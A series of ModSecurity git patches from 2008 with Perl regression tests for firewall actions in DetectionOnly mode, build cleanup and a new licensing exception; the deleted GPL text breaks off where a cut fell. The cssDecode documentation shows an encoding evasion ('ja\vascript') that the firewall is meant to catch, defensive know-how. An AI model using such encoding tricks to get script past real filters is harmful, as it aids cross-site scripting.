+ +
+ cssDecode + + Decodes CSS-encoded characters, as specified at http://www.w3.org/TR/REC-CSS2/syndata.html. + This function uses only up to two bytes in the decoding process, meaning + it is useful to uncover ASCII characters (that wouldn't normally be + encoded) encoded using CSS encoding, or to counter evasion which is a + combination of a backslash and non-hexadecimal characters (e.g. + ja\vascript is equivalent to + javascript).
@@ -6110,4 +6123,4 @@ Server: Apache/2.x.x
- + \ No newline at end of file From 478389d5a4dde818f745e68e460fcd6eb371863e Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 22 Jul 2008 17:03:30 +0000 Subject: [PATCH 062/110] Added regression tests for ctl:ruleRemoveById and disruptive actions in DetectionOnly mode. --- apache2/t/regression/action/00-misc.t | 1 - apache2/t/regression/action/10-ctl.t | 56 ++ .../action/10-detectiononly-actions.t | 545 ++++++++++++++++++ 3 files changed, 601 insertions(+), 1 deletion(-) create mode 100644 apache2/t/regression/action/10-ctl.t create mode 100644 apache2/t/regression/action/10-detectiononly-actions.t diff --git a/apache2/t/regression/action/00-misc.t b/apache2/t/regression/action/00-misc.t index 34d3d715..0a99b4c5 100644 --- a/apache2/t/regression/action/00-misc.t +++ b/apache2/t/regression/action/00-misc.t @@ -4,7 +4,6 @@ # TODO: block # TODO: capture # TODO: chain -# TODO: ctl # TODO: deprecatevar # TODO: exec # TODO: expirevar diff --git a/apache2/t/regression/action/10-ctl.t b/apache2/t/regression/action/10-ctl.t new file mode 100644 index 00000000..1aa9fd15 --- /dev/null +++ b/apache2/t/regression/action/10-ctl.t @@ -0,0 +1,56 @@ +### ctl + +### ruleRemoveById +{ + type => "action", + comment => "ruleRemoveById existing rule across phases", + conf => qq( + SecRuleEngine On + SecAction "phase:2,id:666,deny" + SecAction "phase:1,pass,ctl:ruleRemoveById=666" + ), + match_log => { + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "ruleRemoveById future rule across phases", + conf => qq( + SecRuleEngine On + SecAction "phase:1,pass,ctl:ruleRemoveById=666" + SecAction "phase:2,id:666,deny" + ), + match_log => { + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "ruleRemoveById future rule same phase", + conf => qq( + SecRuleEngine On + SecAction "phase:1,pass,ctl:ruleRemoveById=666" + SecAction "phase:1,id:666,deny" + ), + match_log => { + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + + diff --git a/apache2/t/regression/action/10-detectiononly-actions.t b/apache2/t/regression/action/10-detectiononly-actions.t new file mode 100644 index 00000000..74d71456 --- /dev/null +++ b/apache2/t/regression/action/10-detectiononly-actions.t @@ -0,0 +1,545 @@ +### Tests all of the actions in each phase in detection only mode + +# Pass +{ + type => "action", + comment => "pass in phase:1", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 9 + SecAction "phase:1,pass,msg:'PASSED'" + SecAction "phase:1,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*PASSED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "pass in phase:2", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:2,pass,msg:'PASSED'" + SecAction "phase:2,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*PASSED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "pass in phase:3", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 + SecAction "phase:3,pass,msg:'PASSED'" + SecAction "phase:3,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*PASSED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "pass in phase:4", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 + SecAction "phase:4,pass,msg:'PASSED'" + SecAction "phase:4,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*PASSED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# Allow +{ + type => "action", + comment => "allow in phase:1", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:1,allow,msg:'ALLOWED'" + SecAction "phase:1,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], + -error => [ qr/Access allowed/, 1 ], +# TODO: Allow should probably rule stop execution +# -error => [ qr/DENIED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "allow in phase:2", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:2,allow,msg:'ALLOWED'" + SecAction "phase:2,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], + -error => [ qr/Access allowed/, 1 ], +# TODO: Allow should probably rule stop execution +# -error => [ qr/DENIED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "allow in phase:3", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:3,allow,msg:'ALLOWED'" + SecAction "phase:3,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], + -error => [ qr/Access allowed/, 1 ], +# TODO: Allow should probably rule stop execution +# -error => [ qr/DENIED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "allow in phase:4", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:4,allow,msg:'ALLOWED'" + SecAction "phase:4,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], + -error => [ qr/Access allowed/, 1 ], +# TODO: Allow should probably rule stop execution +# -error => [ qr/DENIED/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# Deny +{ + type => "action", + comment => "deny in phase:1", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:1,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DENIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "deny in phase:2", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:2,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DENIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "deny in phase:3", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:3,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DENIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "deny in phase:4", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:4,deny,msg:'DENIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DENIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# Drop +{ + type => "action", + comment => "drop in phase:1", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:1,drop,msg:'DROPPED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DROPPED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "drop in phase:2", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:2,drop,msg:'DROPPED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DROPPED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "drop in phase:3", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:3,drop,msg:'DROPPED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DROPPED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "drop in phase:4", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecAction "phase:4,drop,msg:'DROPPED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*DROPPED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# Redirect +{ + type => "action", + comment => "redirect in phase:1 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'REDIRECTED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*REDIRECTED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + content => qr/^TEST 2$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "action", + comment => "redirect in phase:2 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'REDIRECTED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*REDIRECTED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + content => qr/^TEST 2$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "action", + comment => "redirect in phase:3 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'REDIRECTED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*REDIRECTED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + content => qr/^TEST 2$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "action", + comment => "redirect in phase:4 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'REDIRECTED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*REDIRECTED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + content => qr/^TEST 2$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, + +# Proxy +{ + type => "action", + comment => "proxy in phase:1 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'PROXIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*PROXIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + content => qr/^TEST 2$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "action", + comment => "proxy in phase:2 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'PROXIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*PROXIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + content => qr/^TEST 2$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "action", + comment => "proxy in phase:3 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 + SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'PROXIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*PROXIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "action", + comment => "proxy in phase:4 (get)", + conf => qq( + SecRuleEngine DetectionOnly + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 + SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt',msg:'PROXIED'" + ), + match_log => { + error => [ qr/ModSecurity: Warning. String match "\/test2.txt" at REQUEST_URI.*PROXIED/, 1 ], + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, From 6a33fedc8126cbf5fdfbe6b03c63f37547b117b2 Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 29 Jul 2008 05:50:03 +0000 Subject: [PATCH 063/110] Regression suite cleanup merged from 2.5.x. --- apache2/Makefile.in | 2 +- apache2/t/regression/server_root/conf/httpd.conf.in | 2 ++ apache2/t/run-regression-tests.pl.in | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/apache2/Makefile.in b/apache2/Makefile.in index d732f0f9..320b4152 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -76,7 +76,7 @@ clean: clean-extras @rm -rf *.la *.lo *.o *.slo .libs msc_test msc-test-debug.log maintainer-clean: clean - @rm -rf Makefile mlogc-src/Makefile t/run-unit-tests.pl t/run-regression-tests.pl config config.log config.status configure mod_security2_config.h ../tools/*.pl autoscan.log configure.scan build/libtool.m4 build/config.guess build/config.sub build/ltmain.sh build/apxs-wrapper + @rm -rf Makefile mlogc-src/Makefile t/run-unit-tests.pl t/run-regression-tests.pl t/gen_rx-pm.pl t/csv_rx-pm.pl t/run-tests.pl t/regression/server_root/conf/httpd.conf t/regression/server_root/conf/config_*.t_*.conf config config.log config.status configure mod_security2_config.h ../tools/*.pl autoscan.log configure.scan build/libtool.m4 build/config.guess build/config.sub build/ltmain.sh build/apxs-wrapper distclean: maintainer-clean diff --git a/apache2/t/regression/server_root/conf/httpd.conf.in b/apache2/t/regression/server_root/conf/httpd.conf.in index 7d45cdbf..6e6109b7 100644 --- a/apache2/t/regression/server_root/conf/httpd.conf.in +++ b/apache2/t/regression/server_root/conf/httpd.conf.in @@ -23,6 +23,8 @@ ServerName localhost +CoreDumpDirectory @MSC_REGRESSION_SERVERROOT_DIR@/tmp + LogLevel debug ErrorLog @MSC_REGRESSION_LOGS_DIR@/error.log diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 032c5b41..6ddfbb8a 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -279,6 +279,7 @@ sub runfile { # Search for all file matches if ($rc == 0 and exists $t{match_file} and defined $t{match_file}) { + sleep 1; # Make sure the file exists for my $key (keys %{ $t{match_file} || {}}) { my($neg,$fn) = ($key =~ m/^(-?)(.*)$/); my $m = $t{match_file}{$key}; From 7899b5c6e0b9d9feaea8025e80576b1e058d413a Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 29 Jul 2008 15:38:32 +0000 Subject: [PATCH 064/110] Update licensing. --- MODSECURITY_LICENSING_EXCEPTION | 137 +++++++++++++ apache2/LICENSE | 340 -------------------------------- 2 files changed, 137 insertions(+), 340 deletions(-) create mode 100644 MODSECURITY_LICENSING_EXCEPTION delete mode 100644 apache2/LICENSE diff --git a/MODSECURITY_LICENSING_EXCEPTION b/MODSECURITY_LICENSING_EXCEPTION new file mode 100644 index 00000000..7448257b --- /dev/null +++ b/MODSECURITY_LICENSING_EXCEPTION @@ -0,0 +1,137 @@ + +MODSECURITY LICENSING EXCEPTION +=============================== + +Version 1.0, 29 July 2008 + +As a special exception ("Exception") to the terms and conditions of version 2 +of the GPL, Breach Security, Inc. hereby grants you the rights described +below, provided you agree to the terms and conditions in this Exception, +including its obligations and restrictions on use. + + +Exception Intent +================ + +We want specified Free/Libre and Open Source Software ("FLOSS") programs to be +able to use ModSecurity (the "Program") despite the fact that not all FLOSS +licenses are compatible with version 2 of the GNU General Public License (the +"GPLv2"). + + +Legal Terms and Conditions +========================== + +You are free to distribute a Derivative Work that is formed entirely from the +Program and one or more works (each, a "FLOSS Work") licensed under one or +more of the licenses listed below in section 1, as long as all of the +following conditions are met: + + 1. You obey the GPLv2 in all respects for the Program and the Derivative + Work, except for identifiable sections of the Derivative Work which are + + 1. not derived from the Program, and + + 2. are not designed to interact with the Program, and + + 3. which can reasonably be considered independent and separate works in + themselves. + + 2. All such identifiable sections of the Derivative Work are + + 1. distributed subject to one of the FLOSS licenses listed below, and + + 2. the object code or executable form of those sections are accompanied + by the complete corresponding machine-readable source code for those + sections on the same medium and under the same FLOSS license as the + corresponding object code or executable forms of those sections. + + 3. Any works which are aggregated with the Program or with a Derivative Work + on a volume of a storage or distribution medium in accordance with the + GPLv2, can reasonably be considered independent and separate works in + themselves which are not derivatives of either the Program, a Derivative + Work or a FLOSS Work, and are not designed to interact with the Program. + +If the above conditions are not met, then the Program may only be copied, +modified, distributed or used under the terms and conditions of the GPLv2 +or another valid licensing option from Breach Security, Inc. + + +FLOSS License List +================== + +License name Version(s)/Copyright Date +----------------------------------------------------------------------- +Academic Free License 2.0 +Apache Software License 1.0/1.1/2.0 +Apple Public Source License 2.0 +Artistic license From Perl 5.8.0 +BSD license "July 22 1999" +Common Development and Distribution License (CDDL) 1.0 +Common Public License 1.0 +Eclipse Public License 1.0 +GNU Library or "Lesser" General Public License (LGPL) 2.0/2.1/3.0 +Jabber Open Source License 1.0 +MIT License (As listed in file MIT-License.txt) - +Mozilla Public License (MPL) 1.0/1.1 +Open Software License 2.0 +OpenSSL license (with original SSLeay license) "2003" ("1998") +PHP License 3.0 +Python license (CNRI Python License) - +Python Software Foundation License 2.1.1 +Sleepycat License "1999" +University of Illinois/NCSA Open Source License - +W3C License "2001" +X11 License "2001" +Zlib/libpng License - +Zope Public License 2.0 + +Due to the many variants of some of the above licenses, we require that for +any version of the listed FLOSS licenses to qualify under this exception, it +must follow the 2003 version of the Free Software Foundation's Free Software +Definition (http://www.gnu.org/philosophy/free-sw.html) or version 1.9 of the +Open Source Definition by the Open Source Initiative +(http://www.opensource.org/docs/definition.php). + + +Definitions +=========== + +1. Terms used, but not defined, herein shall have the meaning provided in the + version 2 of the GPL. + +2. Derivative Work means a derivative work under copyright law. + + +Applicability +============= + +This Exception applies to all Programs that contain a notice placed by Breach +Security, Inc. saying that the Program may be distributed under the terms of +this Exception. If you create or distribute a work which is a Derivative Work +of both the Program and any other work licensed under the GPL, then this FLOSS +Exception is not available for that work; thus, you must remove the FLOSS +Exception notice from that work and comply with the GPL in all respects, +including by retaining all GPL notices. + +You may choose to redistribute a copy of the Program exclusively under the +terms of the GPLv2 by removing the Exception notice from that copy of the +Program, provided that the copy has never been modified by you or any third +party. + + +Appendix A. Qualified Libraries and Packages +============================================ + +The following is a non-exhaustive list of libraries and packages which are +covered by the Exception when they are licensed under one or more of the +licenses listed above. Please note that this appendix is merely provided as +an additional service to specific FLOSS projects who wish to simplify +licensing information for their users. Compliance with one of the licenses +noted under the "FLOSS license list" section remains a prerequisite. + +Package name Qualifying License and Version +----------------------------------------------------------------- +Apache HTTP Server Apache Software License 2.0 +Apache Portable Runtime (APR) Apache Software License 2.0 + diff --git a/apache2/LICENSE b/apache2/LICENSE deleted file mode 100644 index eeb586b3..00000000 --- a/apache2/LICENSE +++ /dev/null @@ -1,340 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc. - 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Library General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation 